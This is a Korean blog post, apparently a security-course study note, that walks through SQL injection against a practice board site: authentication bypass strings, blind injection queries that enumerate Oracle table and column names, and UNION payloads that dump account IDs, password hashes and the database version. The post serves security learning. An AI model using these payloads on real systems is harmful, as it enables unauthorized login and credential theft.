본문 바로가기
인프라 7기/네트워크 보안 공격 기법

SQL 인젝션

by 킹버거 2023. 5. 4.

주인장의 인사말

오늘은 SQL 인젝션 공격에 대해 알아볼게용 !! 

오늘도 쿼카와 함께 웃음 가득한 하루 보내시길 바라요 ~ ^^


SQL 인젝션 수행 단계

2 (Blind base 공격) > 3 (Union base 공격) > 1 (인증 우회 공격) 

* 인증 우회에 필요한 ID를 얻어내기 위해 2, 3 공격을 수행하는 것이다. 

* 근데 애초에 로그인 안 한 사람은 검색 못 하게 하면 SQL 인젝션 불가능한 거 아닌가요? -- 맞습니다^^!! 


1. 인증 우회 공격

  • 쿼리문 조작을 통해 인증 SQL문을 무력화한다.
  • 인증에 사용되는 SQL
  • $sql = "select id, pw from id where id = '$id' and pw = '$pw'";
  • 공격기법: 공격자가 유추하기 어려운 pw 부분을 주석 처리를 통해 무효화한다.

** 인증 우회에 사용된 구문에 따라 우회 결과가 매우 다르다.

1) 아이디' -- 

2) 아이디' or 1='1' --

 

인증 우회 공격 실습)

  • 1차원 패치 방식: 인증 SQL 구문이 True/False 만을 확인하는 경우 (MySQL 등에서 주로 쓰임)
    > row에 값이 넘어오면 로그인 된 것으로 간주하여 인증에 성공함. 

1차원 패치 방식의 웹페이지는 id' or 1='1' -- 입력 시 어떤 id 값이 와도 or 뒷부분이 참이기 때문에 로그인이 된다.

select 했을 때 해당 테이블의 첫번째 계정으로 로그인 된다. 실제로 첫번째 계정은 관리자 계정일 가능성이 높기 때문에 위험하다.

 

  • 2차원 패치 방식: 인증 SQL구문이 검색 행의 결과를 확인하는 경우 

2차원 패치 방식은 공격 대상자의 ID만 알고 있으면 패스워드 없이 로그인 할 수 있다.

1차원 패치 방식에서 인증 우회 공격에서 사용됐던 id' or 1='1' -- 문은 2차원 패치 방식의 웹페이지에서는 사용될 수 없다. 

왜냐하면 row에 행이 여러 개 넘어오기 때문이다. 


2. Blind Base 공격

  • 공격 대상에 대한 어떠한 정보도 없는 상태에서 시스템의 다양한 정보를 얻어내는 공격이다.
  • 테이블명(테이블 이름의 문자 개수), 컬럼명(컬럼 이름의 문자 개수) 등의 정보
  • 사용되는 SQL 함수 
    SUBSTR(문자열, #, #)
    LENGTH(문자열)
  • 관련 SQL문  
    1 테이블의 개수를 검색한다.
    2 테이블명의 문자 개수를 검색한다.
    3 테이블명을 검색한다. (정렬된 내용중 첫 번째 테이블명부터 검색)
    4 테이블의 컬럼 개수를 검색한다.
    5 테이블의 컬럼명의 문자 개수를 검색한다. 
    6 테이블의 컬럼명을 검색한다.

 

테이블 이름 검색
# select tname from tab;

정렬된 테이블명 검색
# select tname from tab order by tname;

 

정렬된 테이블명에서 행번호, 테이블명 검색
# select rownum r, tname from tab order by tname;

 

n번째 테이블만 검색 

-- 잘못된 SQL문

# select tname from tab where rownum = 1; 
rownum은 데이터가 아니기 때문에 위의 명령문 불가능.. 

# select tname from (select rownum r, tname from tab order by tname);
> rownum이 column이 됨

 

-- 올바른 SQL문
# select tname from (select rownum r, tname from tab order by tname) where r = &n;

2. n번째 테이블명의 문자 개수 알고 싶을 때
# select length(tname) from (select rownum r, tname from tab order by tname) where r = n;
-- 실제 sql 인젝션에 쓰이는 SQL문
# select length((select tname from (select rownum r, tname from tab order by tname) where r=&n)) from dual;

> 1.  r이 n일 때 tname의 length가 0이면, 존재하지 않는 것이기 때문에 n-1개의 테이블이 존재함을 알 수 있다. 

 

3. n번째 테이블의 이름에서 m번째 철자(테이블명 알아낼 때까지 반복)

# select substr(tname, m, 1) from (select rownum r, tname from tab order by tname) where r = n;


-- 실제 sql 인젝션에 쓰이는 SQL문# select substr((select tname from (select rownum r, tname from tab order by tname) where r = &n , &m, 1)) from dual;

 

5. 테이블의 n번째 컬럼의 문자 개수 (user_tab_columns = desc cols)
# select length(column_name) from (select rownum r, column_name from cols where table_name = 'tname' order by column_name) where r = n;

 

-- 실제 sql 인젝션에 쓰이는 SQL문
# select length((select column_name from (select rownum r, column_name from cols where table_name='&tname' order by column_name) where r = &n)) from dual;

> 4.  r이 n일 때 column_name의 length가 0이면, 존재하지 않는 것이기 때문에 n-1개의 컬럼이 존재함을 알 수 있다. 

6. '테이블' n번째 컬럼명의 m번째 철자 (컬럼명 알아낼 때까지 반복)

# select substr(column_name, m, 1) from (select rownum r, column_name from cols where table_name = 'tname' order by column_name) where r = n;

 

-- 실제 sql 인젝션에 쓰이는 SQL문
# select subsr((select column_name from (select rownum r, column_name from cols where table_name = '&tname' order by column_name) where r = &n), &m, 1) from dual;

 

컬럼의 데이터 타입 확인

# select rownum r, column_name, data_type from cols where table_name = '테이블명' order by r; 


실습 예시) 다음 게시글을 쓴 계정이 있는 DB의 테이블(개수, 이름) 정보를 얻어오자.

 

먼저, 테이블의 개수를 알아보자. st%' and length((select tname from (select rownum r, tname from tab order by tname) where r=4)) > 0 -- 

만약  네 번째 테이블이 존재한다면 테이블명의 길이가 0보다 클 수 밖에 없기 때문에 해당하는 게시글이 출력될 것이다.

하지만 네 번째 테이블이 존재하지 않기 때문에 아무 게시글도 출력되지 않음을 확인할 수 있다.

 

st%' and length((select tname from (select rownum r, tname from tab order by tname) where r=3)) > 0 --

위의 sql문에는 게시글이 출력됨을 확인할 수 있다. 즉, 해당 DB에 테이블이 3개 있음을 알 수 있다. 

 

첫 번째 테이블명의 길이를 확인한다. 다음 sql문을 입력했을 때 아무런 게시글이 출력되지 않는다면 틀린 길이를 입력한 것이다. 만약 테이블 길이를 맞혔다면 해당 게시글이 출력될 것이다

 

[테이블 길이 틀림]

[테이블 길이 맞음]

st%' and length((select tname from (select rownum r, tname from tab order by tname) where r=1)) = 2 --

 

첫 번째 테이블명의 첫 번째 철자를 확인한다. 다음 sql문을 입력했을 때 아무런 게시글이 출력되지 않는다면 틀린 문자를 입력한 것이다. 만약 맞혔다면 해당 게시글이 출력될 것이다

 

st%' and substr ((select tname from (select rownum r, tname from tab order by tname) where r=1),1,1) = 'I' --

첫 번째 테이블명의 두 번째 철자를 확인한다.

st%' and substr ((select tname from (select rownum r, tname from tab order by tname) where r=1),2,1) = 'D' --

1) 테이블명의 길이가 2인 것을 알아낸 후

2) 'A' ~ 'Z' 까지 첫 번째, 두 번째 자리에 각각 대입해봄으로써

첫 번째 테이블명의 이름을 알아낼 수 있었다. 

 


3. Union base 공격

  • Blind 공격을 통해 알아낸 테이블명, 컬럼명, 컬럼의 데이터 타입을 기반으로 데이터베이스의 테이블 정보를 검색하는 방법이다.
  • 사전에 반드시 Blind based 공격을 통해 테이블명, 컬럼 개수, 데이터 타입 등에 대한 정보를 획득해야 한다.
  • RDBMS 시스템 구성에 대한 정보 뿐 아니라 이름이 알려진 테이블의 내부 정보 검색도 가능하다.
  • 공격 대상인 테이블의 컬럼 순서를 정확히 알아야 하는데 공격자는 해당 정보를 정확히 알 수 없음으로 여러 번의 시도를 통해 검색 가능하다.
  • 컬럼의 개수가 다른 테이블을 union으로 검색하는 방법을 통해 공격이 가능하다.
  • 사용자가 숨기고 싶었던 정보를 출력할 수 있다.

 

문자열 '안녕'을 입력하고 확인 버튼을 누르면 위의 sql문이 실행된다.

게시판의 검색창에 문자열을 입력하면 sql 문의 '%%' 부분에 쏙 들어가는 것을 이용하여 원하는 정보를 찾아낼 수 있다.

%' union select 99,  '2' , '3', id, pw, 5 from id --를 입력하면 문자열 부분이 끝나고 union 문장이 입력되어 실행된다.

--를 써줌으로써 주석 처리를 하여 뒤의 문장들은 무시된다. 해당 인젝션 쿼리문을 통해 게시판에 등록된 계정과 해시된 패스워드를 출력할 수 있다. 이와 같은 공격이 인증 테이블 공격이다. 

 

-- 인증 테이블 공격 (union을 이용하여 검색창에 문장 삽입)

select 아이디, 패스워드, ... from 인증_테이블

** 인증_테이블은 id나 패스워드 등 인증에 필요한 정보가 담겨있는 테이블을 의미한다.  

 

-- 아이디, 패스워드 검색

select bno, i.id, name, subject, to_char(bdate,'YYYY/MM/DD') bdate,hit 
from board b, id i where i.id=b.id and subject like '%%'

union

select 1,  '2' , '3', id, pw, 5 from id

--%' order by bno desc

 

RDBMS 정보 검색(오라클 버전 검색)

SELECT banner FROM v$version

: 검색창에 집합 연산자 'union'을 통해 해당 문장을 입력함으로써 sql문에 삽입해서 게시판 화면에 RDBMS 정보가 출력되도록 한다. 

: %' union select 1, '2' , '3', banner, 'YYYY/MM/DD', 5 from v$version --

 

-- 오라클 버전 검색 

select bno, i.id, name, subject, to_char(bdate,'YYYY/MM/DD') bdate,hit 
from board b, id i where i.id=b.id and subject like '%%' 
union 
select 1, '2' , '3', banner, 'YYYY/MM/DD', 5 
from v$version 
--%' order by bno desc